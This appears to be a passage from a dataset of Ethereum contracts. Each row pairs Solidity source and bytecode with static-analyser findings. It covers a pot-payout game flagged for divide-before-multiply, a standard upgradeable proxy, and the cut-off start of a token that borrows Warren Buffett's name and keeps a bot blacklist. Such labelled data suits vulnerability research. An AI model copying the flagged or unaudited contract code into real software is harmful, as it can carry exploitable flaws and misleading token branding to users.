require(block.timestamp > (endTime + 10 minutes));
require(!potWithdrawn);
require(totalPot > 0);
require(addressOfCaptain == msg.sender);
uint payout = totalPot;
totalPot = 0;
potWithdrawn = true;
addressOfCaptain.transfer(payout);
emit Won(msg.sender, payout);
}
} | 0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c76316d81146100e85780631f535833146100fd57806320e98bf4146101965780633ccfd60b146101e25780634b114691146101f757806377ce52f8146102cc5780638fb4b5731461033c5780639932dc0514610357578063c3a869e614610393578063cce7ec13146103bd578063ce021384146103d4578063e177bb9b146103f5578063f3d448d214610441578063fe79bfd014610472575b6000546100e690600160a060020a031660016104d6565b005b3480156100f457600080fd5b506100e6610896565b34801561010957600080fd5b50610121600160a060020a03600435166024356109a0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015b578181015183820152602001610143565b50505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6040805160206004803580820135601f81018490048402850184019095528484526100e6943694929360249392840191908190840183828082843750949750610a649650505050505050565b3480156101ee57600080fd5b506100e6610acf565b34801561020357600080fd5b50610218600160a060020a0360043516610bad565b6040518088815260200187815260200186815260200185600160a060020a0316600160a060020a0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561028b578181015183820152602001610273565b50505050905090810190601f1680156102b85780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156102d857600080fd5b506102e1610cc2565b604080519a15158b5298151560208b0152600160a060020a039788168a8a015260608a0196909652608089019490945260a088019290925260c087015260e08601526101008501521661012083015251908190036101400190f35b34801561034857600080fd5b506100e6600435602435610d4a565b34801561036357600080fd5b506103776004803560248101910135610e54565b60408051600160a060020a039092168252519081900360200190f35b34801561039f57600080fd5b506103ab600435610e8d565b60408051918252519081900360200190f35b6100e6600160a060020a03600435166024356104d6565b3480156103e057600080fd5b506103ab600160a060020a0360043516610e98565b6040805160206004803580820135601f81018490048402850184019095528484526100e6943694929360249392840191908190840183828082843750949750610eb39650505050505050565b34801561044d57600080fd5b50610459600435610ef9565b6040805192835260208301919091528051918290030190f35b34801561047e57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100e694369492936024939284019190819084018382808284375094975050509235600160a060020a03169350610f1792505050565b60008060008060008060008060008060006004541115156104f657600080fd5b600554421061050457600080fd5b60065460ff161561051457600080fd5b61051c610f38565b34101561052857600080fd5b69152d02c7e14af680000034111561053f57600080fd5b600160a060020a038c166000908152600860205260408120541161056257600080fd5b6105398b141561057157600080fd5b61057a8b610f43565b151561058557600080fd5b61058e34610f57565b909a5098506105a3348a63ffffffff610fab16565b975060008a116105b257600080fd5b346105c3898b63ffffffff610fbd16565b146105cd57600080fd5b3360009081526007602052604090206001810154909750151561061857865473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038d16178755600187018b90555b61062388602a610fca565b955061063088600a610fca565b945061063d886004610fca565b935061064a88600c610fca565b925061067083610664868189818e8d63ffffffff610fab16565b9063ffffffff610fab16565b9150876106978361068b868189818d8d63ffffffff610fbd16565b9063ffffffff610fbd16565b1461069e57fe5b6106ac610539338c89610ff4565b6106bc8760010154338c86610ff4565b86546106d59061053990600160a060020a03168761116a565b6000546106ef9061053990600160a060020a03168661116a565b600089111561070557610705610539338b61116a565b6107206107136003546111ae565b899063ffffffff61120c16565b905060008111156108165760015461073f90429063ffffffff610fbd16565b6107666107576002548461122190919063ffffffff16565b6005549063ffffffff610fbd16565b11610788576107836107576002548361122190919063ffffffff16565b61079c565b60015461079c90429063ffffffff610fbd16565b60058190556006805461010033810274ffffffffffffffffffffffffffffffffffffffff00199092169190911791829055604080518581526020810194909452805191909204600160a060020a0316927f2606a326113091b7d2d6e478c5e83fea0ed4c33c5ee81ff287a9c13c2ea8a61592908290030190a25b600354610829908363ffffffff610fbd16565b6003558654600188015460408051918252602082018d90528181018b9052606082018c905251600160a060020a039092169133917f2683a506cc521e11c368ce9c068585a91786a3cb7ab4089b602eb2835acb1639919081900360800190a3505050505050505050505050565b3360009081526007602052604081206001015481106108b457600080fd5b6004546000106108c357600080fd5b6005546102580142116108d557600080fd5b60065460ff16156108e557600080fd5b6003546000106108f457600080fd5b6006546101009004600160a060020a0316331461091057600080fd5b50600380546000918290556006805460ff1916600117908190556040519192610100909104600160a060020a0316916108fc84150291849190818181858888f19350505050158015610966573d6000803e3d6000fd5b5060408051828152905133917f8b01f9dd0400d6a1e84369a5fb8f6033934856ffa8ebadd707dca302ab551695919081900360200190a250565b600160a060020a0382166000908152600860205260409020805460609190839081106109c857fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610a565780601f10610a2b57610100808354040283529160200191610a56565b820191906000526020600020905b815481529060010190602001808311610a3957829003601f168201915b505050505090505b92915050565b34662386f26fc1000014610a7757600080fd5b610a808161124a565b1515610a8b57600080fd5b3360009081526007602090815260409091208251610ab192600390920191840190611847565b50600054610acc9061053990600160a060020a03163461116a565b50565b33600081815260076020526040812091610aec9061053990611251565b9050610afb8260010154610f43565b15610b2157610b1e610b11836001015433611251565b829063ffffffff610fbd16565b90505b6000811115610ba9576002820154610b3f908263ffffffff610fbd16565b6002830155604051339082156108fc029083906000818181858888f19350505050158015610b71573d6000803e3d6000fd5b5060408051828152905133917fb244b9a17ad633c6e83b7983ee04320484956a68ddbe96a0b70dfca1cf19d723919081900360200190a25b5050565b600160a060020a038116600090815260076020526040812081908190819081908190606090610bde6105398a6112bb565b610bea6105398b6112e6565b610bf883600101548c6112e6565b8354600180860154600280880154600389018054604080516020601f600019998516156101000299909901909316959095049687018290048202850182019052858452600160a060020a0390961695939491939092918391830182828015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b50505050509050975097509750975097509750975050919395979092949650565b600080600080600080600080600080600060045411600554421015600660019054906101000a9004600160a060020a0316600354600554610d04610539611349565b610d0f61053961135e565b6001546002546000809054906101000a9004600160a060020a0316995099509950995099509950995099509950995090919293949596979899565b600054600160a060020a03163314610d6157600080fd5b60045415610d6e57600080fd5b600082118015610d7e5750600081115b1515610d8957600080fd5b808211610d9557600080fd5b60018290556002819055426004819055820160059081556000546006805474ffffffffffffffffffffffffffffffffffffffff001916610100600160a060020a03909316928302179055604080518082019091529182527f6f776e65720000000000000000000000000000000000000000000000000000006020830152610e1c9190611370565b60045460408051918252517e6e0c97de781a7389d44ba8fd35d1467cabb17ed04d038d166d34ab819213f39181900360200190a15050565b6000600983836040518083838082843790910194855250506040519283900360200190922054600160a060020a03169250505092915050565b6000610a5e826111ae565b600160a060020a031660009081526008602052604090205490565b600454600010610ec257600080fd5b34662386f26fc1000014610ed557600080fd5b610edf8133611370565b600054610acc9061053990600160a060020a03163461116a565b600080610f0583611349565b610f0e8461135e565b91509150915091565b600054600160a060020a03163314610f2e57600080fd5b610ba98282611370565b655af3107a40005b90565b60008082118015610a5e57505060c3101590565b600080600080610f75610f68610f38565b869063ffffffff61120c16565b9150610f9f610f92610f85610f38565b849063ffffffff61122116565b869063ffffffff610fab16565b91959194509092505050565b600082821115610fb757fe5b50900390565b81810182811015610a5e57fe5b6000610fed6064610fe1858563ffffffff61122116565b9063ffffffff61120c16565b9392505050565b6000808080600160a060020a038716151561100e57600080fd5b60008611801561101e5750600085115b151561102957600080fd5b61104185670de0b6b3a764000063ffffffff61122116565b6000898152600b6020526040902080549195509350611066908663ffffffff610fbd16565b8355600183015461107d908763ffffffff610fbd16565b60018401819055841161108f57600080fd5b60018301546110a590859063ffffffff61120c16565b6000898152600a60209081526040808320600160a060020a038c1684529091529020600181015491935091506110e1908763ffffffff610fbd16565b60018201556002830154611110906110ff908863ffffffff61122116565b60028301549063ffffffff610fbd16565b600282015560018301546111419061113390610f9290859063ffffffff61122116565b82549063ffffffff610fbd16565b81556002830154611158908363ffffffff610fbd16565b83600201819055505050505050505050565b6000838152600a60209081526040808320600160a060020a038616845290915290206111a761113383670de0b6b3a764000063ffffffff61122116565b9055505050565b6000806111ee6111c784620186a063ffffffff61120c16565b61068b655af3107a4000816a01cb43ebd185b7fc7a0000610fe1898063ffffffff61122116565b90506111f8610f38565b81106112045780610fed565b610fed610f38565b6000818381151561121957fe5b049392505050565b600082151561123257506000610a5e565b5081810281838281151561124257fe5b0414610a5e57fe5b5160031090565b6000806000611260858561156d565b6000858152600a60209081526040808320600160a060020a03881684529091529020805490925061129f90670de0b6b3a764000063ffffffff61120c16565b905060008111156112af57600082555b8092505b505092915050565b6000918252600a60209081526040808420600160a060020a0393909316845291905290206001015490565b6000828152600a60209081526040808320600160a060020a03851684529091528120818061132561131787876115dd565b84549063ffffffff610fbd16565b915061133f82670de0b6b3a764000063ffffffff61120c16565b9695505050505050565b6000908152600b602052604090206001015490565b6000908152600b602052604090205490565b61137982611646565b151561138457600080fd5b6000600160a060020a03166009836040518082805190602001908083835b602083106113c15780518252601f1990920191602091820191016113a2565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150611407905057600080fd5b806009836040518082805190602001908083835b6020831061143a5780518252601f19909201916020918201910161141b565b51815160209384036101000a600019018019909216911617905292019485525060408051948590038201909420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0396871617905593851660009081526008855292832080546001810180835591855293859020875191956114c49591909101935087019150611847565b505080600160a060020a03167f50f74ca45caac8020b8d891bd13ea5a2d79564986ee6a839f0d914896388322d836040518080602001828103825283818151815260200191508051906020019080838360005b8381101561152f578181015183820152602001611517565b50505050905090810190601f16801561155c5780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b60008061157a84846115dd565b915060008211156115d757506000838152600a60209081526040808320600160a060020a0386168452909152902080546115ba908363ffffffff610fbd16565b815560028101546115d1908363ffffffff610fbd16565b60028201555b50505050565b6000828152600b60209081526040808320600a8352818420600160a060020a038616855290925282206001810154151561161a57600092506112b3565b61163d81600201546106648360010154856002015461122190919063ffffffff16565b95945050505050565b60006060600080849250600383511015611663576000935061183f565b600091505b825182101561183a57828281518110151561167f57fe5b01602001517f0100000000000000000000000000000000000000000000000000000000000000908190040290507f3000000000000000000000000000000000000000000000000000000000000000600160f860020a031982161080159061171057507f3900000000000000000000000000000000000000000000000000000000000000600160f860020a0319821611155b15801561177e57507f4100000000000000000000000000000000000000000000000000000000000000600160f860020a031982161080159061177c57507f5a00000000000000000000000000000000000000000000000000000000000000600160f860020a0319821611155b155b80156117eb57507f6100000000000000000000000000000000000000000000000000000000000000600160f860020a03198216108015906117e957507f7a00000000000000000000000000000000000000000000000000000000000000600160f860020a0319821611155b155b801561182157507f2d00000000000000000000000000000000000000000000000000000000000000600160f860020a0319821614155b1561182f576000935061183f565b600190910190611668565b600193505b505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061188857805160ff19168380011785556118b5565b828001600101855582156118b5579182015b828111156118b557825182559160200191906001019061189a565b506118c19291506118c5565b5090565b610f4091905b808211156118c157600081556001016118cb5600a165627a7a7230582064a661de9b70e3fc215fdae01da711fee62f2ee1d1336a16421dc2e62516b58b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 307 |
0x599D92B453C010b1050d31C364f6ee17E819f193 | /**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: Proxy
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// Part: UpgradeabilityProxy
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220426b896a154947b9c52cbd5ec6722bc95c3af1dda6691456051888881781594864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 308 |
0x780d36daa815a881c97e78aeea6b9fff08261b53 | /**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WarrenBuffettFinanceAdvise is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Warren Buffett Finance Advise ";
string private constant _symbol = " WarrenBuffett";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
